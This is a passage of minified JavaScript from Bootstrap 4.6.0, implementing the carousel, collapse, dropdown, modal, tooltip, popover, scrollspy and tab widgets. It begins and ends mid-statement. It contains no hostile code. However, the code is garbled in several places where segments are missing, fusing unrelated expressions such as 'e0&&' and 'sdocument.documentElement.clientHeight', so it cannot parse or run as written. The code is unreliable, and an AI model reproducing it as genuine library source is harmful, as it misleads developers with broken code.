e.next=function(){this._isSliding||this._slide("next")},e.nextWhenVisible=function(){var t=o.default(this._element);!document.hidden&&t.is(":visible")&&"hidden"!==t.css("visibility")&&this.next()},e.prev=function(){this._isSliding||this._slide("prev")},e.pause=function(t){t||(this._isPaused=!0),this._element.querySelector(".carousel-item-next, .carousel-item-prev")&&(d.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},e.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._updateInterval(),this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},e.to=function(t){var e=this;this._activeElement=this._element.querySelector(".active.carousel-item");var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)o.default(this._element).one("slid.bs.carousel",(function(){return e.to(t)}));else{if(n===t)return this.pause(),void this.cycle();var i=t>n?"next":"prev";this._slide(i,this._items[t])}},e.dispose=function(){o.default(this._element).off(_),o.default.removeData(this._element,"bs.carousel"),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},e._getConfig=function(t){return t=r({},b,t),d.typeCheckConfig(p,t,y),t},e._handleSwipe=function(){var t=Math.abs(this.touchDeltaX);if(!(t<=40)){var e=t/this.touchDeltaX;this.touchDeltaX=0,e>0&&this.prev(),e<0&&this.next()}},e._addEventListeners=function(){var t=this;this._config.keyboard&&o.default(this._element).on("keydown.bs.carousel",(function(e){return t._keydown(e)})),"hover"===this._config.pause&&o.default(this._element).on("mouseenter.bs.carousel",(function(e){return t.pause(e)})).on("mouseleave.bs.carousel",(function(e){return t.cycle(e)})),this._config.touch&&this._addTouchEventListeners()},e._addTouchEventListeners=function(){var t=this;if(this._touchSupported){var e=function(e){t._pointerEvent&&E[e.originalEvent.pointerType.toUpperCase()]?t.touchStartX=e.originalEvent.clientX:t._pointerEvent||(t.touchStartX=e.originalEvent.touches[0].clientX)},n=function(e){t._pointerEvent&&E[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._handleSwipe(),"hover"===t._config.pause&&(t.pause(),t.touchTimeout&&clearTimeout(t.touchTimeout),t.touchTimeout=setTimeout((function(e){return t.cycle(e)}),500+t._config.interval))};o.default(this._element.querySelectorAll(".carousel-item img")).on("dragstart.bs.carousel",(function(t){return t.preventDefault()})),this._pointerEvent?(o.default(this._element).on("pointerdown.bs.carousel",(function(t){return e(t)})),o.default(this._element).on("pointerup.bs.carousel",(function(t){return n(t)})),this._element.classList.add("pointer-event")):(o.default(this._element).on("touchstart.bs.carousel",(function(t){return e(t)})),o.default(this._element).on("touchmove.bs.carousel",(function(e){return function(e){e.originalEvent.touches&&e.originalEvent.touches.length>1?t.touchDeltaX=0:t.touchDeltaX=e.originalEvent.touches[0].clientX-t.touchStartX}(e)})),o.default(this._element).on("touchend.bs.carousel",(function(t){return n(t)})))}},e._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},e._getItemIndex=function(t){return this._items=t&&t.parentNode?[].slice.call(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},e._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),a=this._items.length-1;if((i&&0===o||n&&o===a)&&!this._config.wrap)return e;var s=(o+("prev"===t?-1:1))%this._items.length;return-1===s?this._items[this._items.length-1]:this._items[s]},e._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(this._element.querySelector(".active.carousel-item")),a=o.default.Event("slide.bs.carousel",{relatedTarget:t,direction:e,from:i,to:n});return o.default(this._element).trigger(a),a},e._setActiveIndicatorElement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll(".active"));o.default(e).removeClass("active");var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&o.default(n).addClass("active")}},e._updateInterval=function(){var t=this._activeElement||this._element.querySelector(".active.carousel-item");if(t){var e=parseInt(t.getAttribute("data-interval"),10);e?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=e):this._config.interval=this._config.defaultInterval||this._config.interval}},e._slide=function(t,e){var n,i,a,s=this,l=this._element.querySelector(".active.carousel-item"),r=this._getItemIndex(l),u=e||l&&this._getItemByDirection(t,l),f=this._getItemIndex(u),c=Boolean(this._interval);if("next"===t?(n="carousel-item-left",i="carousel-item-next",a="left"):(n="carousel-item-right",i="carousel-item-prev",a="right"),u&&o.default(u).hasClass("active"))this._isSliding=!1;else if(!this._triggerSlideEvent(u,a).isDefaultPrevented()&&l&&u){this._isSliding=!0,c&&this.pause(),this._setActiveIndicatorElement(u),this._activeElement=u;var h=o.default.Event("slid.bs.carousel",{relatedTarget:u,direction:a,from:r,to:f});if(o.default(this._element).hasClass("slide")){o.default(u).addClass(i),d.reflow(u),o.default(l).addClass(n),o.default(u).addClass(n);var g=d.getTransitionDurationFromElement(l);o.default(l).one(d.TRANSITION_END,(function(){o.default(u).removeClass(n+" "+i).addClass("active"),o.default(l).removeClass("active "+i+" "+n),s._isSliding=!1,setTimeout((function(){return o.default(s._element).trigger(h)}),0)})).emulateTransitionEnd(g)}else o.default(l).removeClass("active"),o.default(u).addClass("active"),this._isSliding=!1,o.default(this._element).trigger(h);c&&this.cycle()}},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this).data("bs.carousel"),i=r({},b,o.default(this).data());"object"==typeof e&&(i=r({},i,e));var a="string"==typeof e?e:i.slide;if(n||(n=new t(this,i),o.default(this).data("bs.carousel",n)),"number"==typeof e)n.to(e);else if("string"==typeof a){if("undefined"==typeof n[a])throw new TypeError('No method named "'+a+'"');n[a]()}else i.interval&&i.ride&&(n.pause(),n.cycle())}))},t._dataApiClickHandler=function(e){var n=d.getSelectorFromElement(this);if(n){var i=o.default(n)[0];if(i&&o.default(i).hasClass("carousel")){var a=r({},o.default(i).data(),o.default(this).data()),s=this.getAttribute("data-slide-to");s&&(a.interval=!1),t._jQueryInterface.call(o.default(i),a),s&&o.default(i).data("bs.carousel").to(s),e.preventDefault()}}},l(t,null,[{key:"VERSION",get:function(){return"4.6.0"}},{key:"Default",get:function(){return b}}]),t}();o.default(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",w._dataApiClickHandler),o.default(window).on("load.bs.carousel.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-ride="carousel"]')),e=0,n=t.length;e0&&(this._selector=s,this._triggerArray.push(a))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var e=t.prototype;return e.toggle=function(){o.default(this._element).hasClass("show")?this.hide():this.show()},e.show=function(){var e,n,i=this;if(!this._isTransitioning&&!o.default(this._element).hasClass("show")&&(this._parent&&0===(e=[].slice.call(this._parent.querySelectorAll(".show, .collapsing")).filter((function(t){return"string"==typeof i._config.parent?t.getAttribute("data-parent")===i._config.parent:t.classList.contains("collapse")}))).length&&(e=null),!(e&&(n=o.default(e).not(this._selector).data("bs.collapse"))&&n._isTransitioning))){var a=o.default.Event("show.bs.collapse");if(o.default(this._element).trigger(a),!a.isDefaultPrevented()){e&&(t._jQueryInterface.call(o.default(e).not(this._selector),"hide"),n||o.default(e).data("bs.collapse",null));var s=this._getDimension();o.default(this._element).removeClass("collapse").addClass("collapsing"),this._element.style[s]=0,this._triggerArray.length&&o.default(this._triggerArray).removeClass("collapsed").attr("aria-expanded",!0),this.setTransitioning(!0);var l="scroll"+(s[0].toUpperCase()+s.slice(1)),r=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,(function(){o.default(i._element).removeClass("collapsing").addClass("collapse show"),i._element.style[s]="",i.setTransitioning(!1),o.default(i._element).trigger("shown.bs.collapse")})).emulateTransitionEnd(r),this._element.style[s]=this._element[l]+"px"}}},e.hide=function(){var t=this;if(!this._isTransitioning&&o.default(this._element).hasClass("show")){var e=o.default.Event("hide.bs.collapse");if(o.default(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",d.reflow(this._element),o.default(this._element).addClass("collapsing").removeClass("collapse show");var i=this._triggerArray.length;if(i>0)for(var a=0;a0},e._getOffset=function(){var t=this,e={};return"function"==typeof this._config.offset?e.fn=function(e){return e.offsets=r({},e.offsets,t._config.offset(e.offsets,t._element)||{}),e}:e.offset=this._config.offset,e},e._getPopperConfig=function(){var t={placement:this._getPlacement(),modifiers:{offset:this._getOffset(),flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(t.modifiers.applyStyle={enabled:!1}),r({},t,this._config.popperConfig)},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this).data("bs.dropdown");if(n||(n=new t(this,"object"==typeof e?e:null),o.default(this).data("bs.dropdown",n)),"string"==typeof e){if("undefined"==typeof n[e])throw new TypeError('No method named "'+e+'"');n[e]()}}))},t._clearMenus=function(e){if(!e||3!==e.which&&("keyup"!==e.type||9===e.which))for(var n=[].slice.call(document.querySelectorAll('[data-toggle="dropdown"]')),i=0,a=n.length;i0&&s--,40===e.which&&sdocument.documentElement.clientHeight;n||(this._element.style.overflowY="hidden"),this._element.classList.add("modal-static");var i=d.getTransitionDurationFromElement(this._dialog);o.default(this._element).off(d.TRANSITION_END),o.default(this._element).one(d.TRANSITION_END,(function(){t._element.classList.remove("modal-static"),n||o.default(t._element).one(d.TRANSITION_END,(function(){t._element.style.overflowY=""})).emulateTransitionEnd(t._element,i)})).emulateTransitionEnd(i),this._element.focus()}},e._showElement=function(t){var e=this,n=o.default(this._element).hasClass("fade"),i=this._dialog?this._dialog.querySelector(".modal-body"):null;this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),o.default(this._dialog).hasClass("modal-dialog-scrollable")&&i?i.scrollTop=0:this._element.scrollTop=0,n&&d.reflow(this._element),o.default(this._element).addClass("show"),this._config.focus&&this._enforceFocus();var a=o.default.Event("shown.bs.modal",{relatedTarget:t}),s=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,o.default(e._element).trigger(a)};if(n){var l=d.getTransitionDurationFromElement(this._dialog);o.default(this._dialog).one(d.TRANSITION_END,s).emulateTransitionEnd(l)}else s()},e._enforceFocus=function(){var t=this;o.default(document).off("focusin.bs.modal").on("focusin.bs.modal",(function(e){document!==e.target&&t._element!==e.target&&0===o.default(t._element).has(e.target).length&&t._element.focus()}))},e._setEscapeEvent=function(){var t=this;this._isShown?o.default(this._element).on("keydown.dismiss.bs.modal",(function(e){t._config.keyboard&&27===e.which?(e.preventDefault(),t.hide()):t._config.keyboard||27!==e.which||t._triggerBackdropTransition()})):this._isShown||o.default(this._element).off("keydown.dismiss.bs.modal")},e._setResizeEvent=function(){var t=this;this._isShown?o.default(window).on("resize.bs.modal",(function(e){return t.handleUpdate(e)})):o.default(window).off("resize.bs.modal")},e._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._showBackdrop((function(){o.default(document.body).removeClass("modal-open"),t._resetAdjustments(),t._resetScrollbar(),o.default(t._element).trigger("hidden.bs.modal")}))},e._removeBackdrop=function(){this._backdrop&&(o.default(this._backdrop).remove(),this._backdrop=null)},e._showBackdrop=function(t){var e=this,n=o.default(this._element).hasClass("fade")?"fade":"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className="modal-backdrop",n&&this._backdrop.classList.add(n),o.default(this._backdrop).appendTo(document.body),o.default(this._element).on("click.dismiss.bs.modal",(function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"===e._config.backdrop?e._triggerBackdropTransition():e.hide())})),n&&d.reflow(this._backdrop),o.default(this._backdrop).addClass("show"),!t)return;if(!n)return void t();var i=d.getTransitionDurationFromElement(this._backdrop);o.default(this._backdrop).one(d.TRANSITION_END,t).emulateTransitionEnd(i)}else if(!this._isShown&&this._backdrop){o.default(this._backdrop).removeClass("show");var a=function(){e._removeBackdrop(),t&&t()};if(o.default(this._element).hasClass("fade")){var s=d.getTransitionDurationFromElement(this._backdrop);o.default(this._backdrop).one(d.TRANSITION_END,a).emulateTransitionEnd(s)}else a()}else t&&t()},e._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},e._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},e._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=Math.round(t.left+t.right)
',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",customClass:"",sanitize:!0,sanitizeFn:null,whiteList:Q,popperConfig:null},$={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"},J=function(){function t(t,e){if("undefined"==typeof a.default)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var e=t.prototype;return e.enable=function(){this._isEnabled=!0},e.disable=function(){this._isEnabled=!1},e.toggleEnabled=function(){this._isEnabled=!this._isEnabled},e.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=o.default(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(o.default(this.getTipElement()).hasClass("show"))return void this._leave(null,this);this._enter(null,this)}},e.dispose=function(){clearTimeout(this._timeout),o.default.removeData(this.element,this.constructor.DATA_KEY),o.default(this.element).off(this.constructor.EVENT_KEY),o.default(this.element).closest(".modal").off("hide.bs.modal",this._hideModalHandler),this.tip&&o.default(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},e.show=function(){var t=this;if("none"===o.default(this.element).css("display"))throw new Error("Please use show on visible elements");var e=o.default.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){o.default(this.element).trigger(e);var n=d.findShadowRoot(this.element),i=o.default.contains(null!==n?n:this.element.ownerDocument.documentElement,this.element);if(e.isDefaultPrevented()||!i)return;var s=this.getTipElement(),l=d.getUID(this.constructor.NAME);s.setAttribute("id",l),this.element.setAttribute("aria-describedby",l),this.setContent(),this.config.animation&&o.default(s).addClass("fade");var r="function"==typeof this.config.placement?this.config.placement.call(this,s,this.element):this.config.placement,u=this._getAttachment(r);this.addAttachmentClass(u);var f=this._getContainer();o.default(s).data(this.constructor.DATA_KEY,this),o.default.contains(this.element.ownerDocument.documentElement,this.tip)||o.default(s).appendTo(f),o.default(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new a.default(this.element,s,this._getPopperConfig(u)),o.default(s).addClass("show"),o.default(s).addClass(this.config.customClass),"ontouchstart"in document.documentElement&&o.default(document.body).children().on("mouseover",null,o.default.noop);var c=function(){t.config.animation&&t._fixTransition();var e=t._hoverState;t._hoverState=null,o.default(t.element).trigger(t.constructor.Event.SHOWN),"out"===e&&t._leave(null,t)};if(o.default(this.tip).hasClass("fade")){var h=d.getTransitionDurationFromElement(this.tip);o.default(this.tip).one(d.TRANSITION_END,c).emulateTransitionEnd(h)}else c()}},e.hide=function(t){var e=this,n=this.getTipElement(),i=o.default.Event(this.constructor.Event.HIDE),a=function(){"show"!==e._hoverState&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),o.default(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(o.default(this.element).trigger(i),!i.isDefaultPrevented()){if(o.default(n).removeClass("show"),"ontouchstart"in document.documentElement&&o.default(document.body).children().off("mouseover",null,o.default.noop),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,o.default(this.tip).hasClass("fade")){var s=d.getTransitionDurationFromElement(n);o.default(n).one(d.TRANSITION_END,a).emulateTransitionEnd(s)}else a();this._hoverState=""}},e.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},e.isWithContent=function(){return Boolean(this.getTitle())},e.addAttachmentClass=function(t){o.default(this.getTipElement()).addClass("bs-tooltip-"+t)},e.getTipElement=function(){return this.tip=this.tip||o.default(this.config.template)[0],this.tip},e.setContent=function(){var t=this.getTipElement();this.setElementContent(o.default(t.querySelectorAll(".tooltip-inner")),this.getTitle()),o.default(t).removeClass("fade show")},e.setElementContent=function(t,e){"object"!=typeof e||!e.nodeType&&!e.jquery?this.config.html?(this.config.sanitize&&(e=U(e,this.config.whiteList,this.config.sanitizeFn)),t.html(e)):t.text(e):this.config.html?o.default(e).parent().is(t)||t.empty().append(e):t.text(o.default(e).text())},e.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},e._getPopperConfig=function(t){var e=this;return r({},{placement:t,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:".arrow"},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}},this.config.popperConfig)},e._getOffset=function(){var t=this,e={};return"function"==typeof this.config.offset?e.fn=function(e){return e.offsets=r({},e.offsets,t.config.offset(e.offsets,t.element)||{}),e}:e.offset=this.config.offset,e},e._getContainer=function(){return!1===this.config.container?document.body:d.isElement(this.config.container)?o.default(this.config.container):o.default(document).find(this.config.container)},e._getAttachment=function(t){return X[t.toUpperCase()]},e._setListeners=function(){var t=this;this.config.trigger.split(" ").forEach((function(e){if("click"===e)o.default(t.element).on(t.constructor.Event.CLICK,t.config.selector,(function(e){return t.toggle(e)}));else if("manual"!==e){var n="hover"===e?t.constructor.Event.MOUSEENTER:t.constructor.Event.FOCUSIN,i="hover"===e?t.constructor.Event.MOUSELEAVE:t.constructor.Event.FOCUSOUT;o.default(t.element).on(n,t.config.selector,(function(e){return t._enter(e)})).on(i,t.config.selector,(function(e){return t._leave(e)}))}})),this._hideModalHandler=function(){t.element&&t.hide()},o.default(this.element).closest(".modal").on("hide.bs.modal",this._hideModalHandler),this.config.selector?this.config=r({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},e._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},e._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||o.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),o.default(e.getTipElement()).hasClass("show")||"show"===e._hoverState?e._hoverState="show":(clearTimeout(e._timeout),e._hoverState="show",e.config.delay&&e.config.delay.show?e._timeout=setTimeout((function(){"show"===e._hoverState&&e.show()}),e.config.delay.show):e.show())},e._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||o.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?"focus":"hover"]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState="out",e.config.delay&&e.config.delay.hide?e._timeout=setTimeout((function(){"out"===e._hoverState&&e.hide()}),e.config.delay.hide):e.hide())},e._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},e._getConfig=function(t){var e=o.default(this.element).data();return Object.keys(e).forEach((function(t){-1!==z.indexOf(t)&&delete e[t]})),"number"==typeof(t=r({},this.constructor.Default,e,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),d.typeCheckConfig(M,t,this.constructor.DefaultType),t.sanitize&&(t.template=U(t.template,t.whiteList,t.sanitizeFn)),t},e._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},e._cleanTipClass=function(){var t=o.default(this.getTipElement()),e=t.attr("class").match(V);null!==e&&e.length&&t.removeClass(e.join(""))},e._handlePopperPlacementChange=function(t){this.tip=t.instance.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},e._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(o.default(t).removeClass("fade"),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data("bs.tooltip"),a="object"==typeof e&&e;if((i||!/dispose|hide/.test(e))&&(i||(i=new t(this,a),n.data("bs.tooltip",i)),"string"==typeof e)){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.0"}},{key:"Default",get:function(){return Y}},{key:"NAME",get:function(){return M}},{key:"DATA_KEY",get:function(){return"bs.tooltip"}},{key:"Event",get:function(){return $}},{key:"EVENT_KEY",get:function(){return".bs.tooltip"}},{key:"DefaultType",get:function(){return K}}]),t}();o.default.fn[M]=J._jQueryInterface,o.default.fn[M].Constructor=J,o.default.fn[M].noConflict=function(){return o.default.fn[M]=W,J._jQueryInterface};var G="popover",Z=o.default.fn[G],tt=new RegExp("(^|\\s)bs-popover\\S+","g"),et=r({},J.Default,{placement:"right",trigger:"click",content:"",template:''}),nt=r({},J.DefaultType,{content:"(string|element|function)"}),it={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"},ot=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),e.prototype.constructor=e,e.__proto__=n;var a=i.prototype;return a.isWithContent=function(){return this.getTitle()||this._getContent()},a.addAttachmentClass=function(t){o.default(this.getTipElement()).addClass("bs-popover-"+t)},a.getTipElement=function(){return this.tip=this.tip||o.default(this.config.template)[0],this.tip},a.setContent=function(){var t=o.default(this.getTipElement());this.setElementContent(t.find(".popover-header"),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(".popover-body"),e),t.removeClass("fade show")},a._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},a._cleanTipClass=function(){var t=o.default(this.getTipElement()),e=t.attr("class").match(tt);null!==e&&e.length>0&&t.removeClass(e.join(""))},i._jQueryInterface=function(t){return this.each((function(){var e=o.default(this).data("bs.popover"),n="object"==typeof t?t:null;if((e||!/dispose|hide/.test(t))&&(e||(e=new i(this,n),o.default(this).data("bs.popover",e)),"string"==typeof t)){if("undefined"==typeof e[t])throw new TypeError('No method named "'+t+'"');e[t]()}}))},l(i,null,[{key:"VERSION",get:function(){return"4.6.0"}},{key:"Default",get:function(){return et}},{key:"NAME",get:function(){return G}},{key:"DATA_KEY",get:function(){return"bs.popover"}},{key:"Event",get:function(){return it}},{key:"EVENT_KEY",get:function(){return".bs.popover"}},{key:"DefaultType",get:function(){return nt}}]),i}(J);o.default.fn[G]=ot._jQueryInterface,o.default.fn[G].Constructor=ot,o.default.fn[G].noConflict=function(){return o.default.fn[G]=Z,ot._jQueryInterface};var at="scrollspy",st=o.default.fn[at],lt={offset:10,method:"auto",target:""},rt={offset:"number",method:"string",target:"(string|element)"},ut=function(){function t(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" .nav-link,"+this._config.target+" .list-group-item,"+this._config.target+" .dropdown-item",this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,o.default(this._scrollElement).on("scroll.bs.scrollspy",(function(t){return n._process(t)})),this.refresh(),this._process()}var e=t.prototype;return e.refresh=function(){var t=this,e=this._scrollElement===this._scrollElement.window?"offset":"position",n="auto"===this._config.method?e:this._config.method,i="position"===n?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),[].slice.call(document.querySelectorAll(this._selector)).map((function(t){var e,a=d.getSelectorFromElement(t);if(a&&(e=document.querySelector(a)),e){var s=e.getBoundingClientRect();if(s.width||s.height)return[o.default(e)[n]().top+i,a]}return null})).filter((function(t){return t})).sort((function(t,e){return t[0]-e[0]})).forEach((function(e){t._offsets.push(e[0]),t._targets.push(e[1])}))},e.dispose=function(){o.default.removeData(this._element,"bs.scrollspy"),o.default(this._scrollElement).off(".bs.scrollspy"),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},e._getConfig=function(t){if("string"!=typeof(t=r({},lt,"object"==typeof t&&t?t:{})).target&&d.isElement(t.target)){var e=o.default(t.target).attr("id");e||(e=d.getUID(at),o.default(t.target).attr("id",e)),t.target="#"+e}return d.typeCheckConfig(at,t,rt),t},e._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},e._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},e._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},e._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=n){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t0)return this._activeTarget=null,void this._clear();for(var o=this._offsets.length;o--;){this._activeTarget!==this._targets[o]&&t>=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t li > .active":".active";n=(n=o.default.makeArray(o.default(i).find(s)))[n.length-1]}var l=o.default.Event("hide.bs.tab",{relatedTarget:this._element}),r=o.default.Event("show.bs.tab",{relatedTarget:n});if(n&&o.default(n).trigger(l),o.default(this._element).trigger(r),!r.isDefaultPrevented()&&!l.isDefaultPrevented()){a&&(e=document.querySelector(a)),this._activate(this._element,i);var u=function(){var e=o.default.Event("hidden.bs.tab",{relatedTarget:t._element}),i=o.default.Event("shown.bs.tab",{relatedTarget:n});o.default(n).trigger(e),o.default(t._element).trigger(i)};e?this._activate(e,e.parentNode,u):u()}}},e.dispose=function(){o.default.removeData(this._element,"bs.tab"),this._element=null},e._activate=function(t,e,n){var i=this,a=(!e||"UL"!==e.nodeName&&"OL"!==e.nodeName?o.default(e).children(".active"):o.default(e).find("> li > .active"))[0],s=n&&a&&o.default(a).hasClass("fade"),l=function(){return i._transitionComplete(t,a,n)};if(a&&s){var r=d.getTransitionDurationFromElement(a);o.default(a).removeClass("show").one(d.TRANSITION_END,l).emulateTransitionEnd(r)}else l()},e._transitionComplete=function(t,e,n){if(e){o.default(e).removeClass("active");var i=o.default(e.parentNode).find("> .dropdown-menu .active")[0];i&&o.default(i).removeClass("active"),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}if(o.default(t).addClass("active"),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),d.reflow(t),t.classList.contains("fade")&&t.classList.add("show"),t.parentNode&&o.default(t.parentNode).hasClass("dropdown-menu")){var a=o.default(t).closest(".dropdown")[0];if(a){var s=[].slice.call(a.querySelectorAll(".dropdown-toggle"));o.default(s).addClass("active")}t.setAttribute("aria-expanded",!0)}n&&n()},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data("bs.tab");if(i||(i=new t(this),n.data("bs.tab",i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.0"}}]),t}();o.default(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',(function(t){t.preventDefault(),ft._jQueryInterface.call(o.default(this),"show")})),o.default.fn.tab=ft._jQueryInterface,o.default.fn.tab.Constructor=ft,o.default.fn.tab.noConflict=function(){return o.default.fn.tab=dt,ft._jQueryInterface};var 